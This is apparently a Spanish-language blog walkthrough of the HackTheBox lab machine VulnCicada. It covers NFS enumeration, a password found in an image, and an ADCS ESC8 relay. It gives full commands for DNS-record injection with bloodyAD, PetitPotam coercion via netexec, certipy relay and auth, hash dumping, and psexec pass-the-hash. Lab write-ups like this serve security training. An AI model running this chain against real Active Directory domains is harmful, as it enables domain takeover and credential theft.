Skip to main content

Command Palette

Search for a command to run...

VulnCicada - HackTheBox

Máquina Windows nivel Medium de la plataforma HackTheBox que forma parte del path CPTS.

Updated
4 min read
VulnCicada - HackTheBox
E
Cybersecurity

Enumeración

Reconocimiento de Puertos

Listamos los puertos abiertos en la máquina utilizando la herramienta nmap.

Disponemos de un amplio abanico de puertos abiertos, pero para obtener algo más de información vamos a lanzar otro escaneo un poco más avanzado.


Analicemos detenidamente lo que tenemos:

  • Servidor web Microsoft IIS httpd 10.0.

  • RPC

  • LDAP

  • NFS (Puerto 2049)

  • RDP (Puerto 3389)

  • Kerberos (Puerto 88)

  • Dominio cicada.vl y dc-jpq225.cicada.vl que añadimos al archivo hosts

Comenzaremos realizando la enumeración web.

Enumeración Web - Microsoft IIS 10.0

Existe /certsrv, pro lo que probablemente esté activo el servicio de: Certificate Authority Web Enrollment.

Tras enumerar un tiempo no veo nada de interés, por lo que continuamos enumerando otros servicios.

Enumeración NFS

NFS (Network File System) es un protocolo que permite compartir directorios entre sistemas en red como si fueran locales.

Network File System permite que un equipo (servidor) comparta carpetas y otro (cliente) las monte y acceda a ellas.

Enumeramos si existe algún directorio con showmount.

showmount -e <ip>

Podemos ver que se está compartiendo el directorio /profiles, por lo que lo montamos en nuestro sistema.

sudo mount -t nfs -o rw cicada.vl:/profiles ./nfs

Disponemos de diferentes directorios con nombres de usuarios, y dentro del directorio Administrator y Rosie.Powell hay 2 imágenes que nos copiaremos para poder visualizar.

Visualizamos las imágenes:


Veremos que en la segunda imagen aparece una contraseña anotada, Cicada123.

Validamos las credenciales Rosie.Powell:Cicada123 con netexec.

En el primer comando vemos que la autenticación NTLM está deshabilitada, por lo que tendremos que utilizar kerberos.

Llegados a este punto listamos los recursos compartidos a través de netexec.

Existe un recurso llamado CertEnroll, que ya nos da una pequeña pista sobre lo que podríamos hacer para dar el siguiente paso... si, ADCS.


ESC8

Para estar más seguros podemos utilizar netexec a través de ldap, ejecutando el módulo ADCS para enumerar o detectar configuraciones relacionadas con certificados en Active Directory.

Además la ausencia de LDAP signing y channel binding puede abrir puertas a ataques como relay.

  • 🏢 Hay un servidor de certificados (CA) activo en el dominio

  • 📛 Nombre de la CA: cicada-DC-JPQ225-CA

  • 🖥️ Está en el mismo DC (DC-JPQ225)

Para verificar si existe alguna plantilla vulnerable podríamos pasar directamente a certipy-ad.

certipy-ad find -target DC-JPQ225.cicada.vl -u Rosie.Powell@cicada.vl -p Cicada123 -k -vulnerable -stdout

ESC8 es una vulnerabilidad en Active Directory Certificate Services (ADCS) que ocurre cuando el portal de certificados (Web Enrollment) está disponible por HTTP sin cifrar.

  • En qué consiste: Un atacante puede hacer NTLM relay hacia ese portal web y solicitar un certificado en nombre de otra cuenta (la víctima).

  • Resultado: Obtiene un certificado válido que le permite autenticarse como esa cuenta (incluso un admin) sin conocer su contraseña.

ESC8 Abuse

Para poder explotar la vulnerabilidad ESC8 seguiremos una serie de pasos.

Utilizaremos la herramienta bloodyAD para añadir un registro DNS dentro de Active Directory.

bloodyAD -u Rosie.Powell -p Cicada123 -d cicada.vl -k --host DC-JPQ225.cicada.vl add dnsRecord DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA 10.10.15.22

[+] DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA has been successfully added

Después utilizaremos NetExec para forzar al servidor (DC-JPQ225) a autenticarse contra mi máquina atacante utilizando el módulo de netexec coerce_plus y ejecutando PetitPotam.

  • ¿Por qué PetitPotam? : Porque es una de las formas más fiables de forzar a un servidor (especialmente un Domain Controller) a autenticarse contra mi.
netexec smb DC-JPQ225.cicada.vl -u 'Rosie.Powell' -p 'Cicada123' -k -M coerce_plus -o LISTENER=DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA METHOD=PetitPotam

Por otro lado tendremos en ejecución el siguiente comando:

Este comando utilizará Certipy-ad para hacer un NTLM relay contra el servidor de certificados (ADCS).

Se pone a escuchar autenticaciones entrantes y cuando alguien se autentica contra mi hace un relay a http://dc-jpq225.cicada.vl/.

certipy-ad relay -target 'http://dc-jpq225.cicada.vl/' -template DomainController -debug

Si combinamos estos dos comandos veremos que obtenemos el certificado .pfx del equipo.

Utilizando el certificado del equipo podemos utilizarlo para autenticarnos y obtener su hash NTLM para posteriores ataques.

certipy-ad auth -pfx dc-jpq225.pfx -dc-ip <ip>

Disponemos del TGT y del hash NTLM del equipo dc-jpq225, por lo que podemos exportar el TGT y después con secretsdump volcar el hash NTLM del usuario Administrador.

Tras obtener el hash NTLM del usuario Administrador, nos conectamos a la máquina utilizando psexec y el hash.

psexec.py cicada.vl/Administrator@dc-jpq225.cicada.vl -k -hashes :<hash>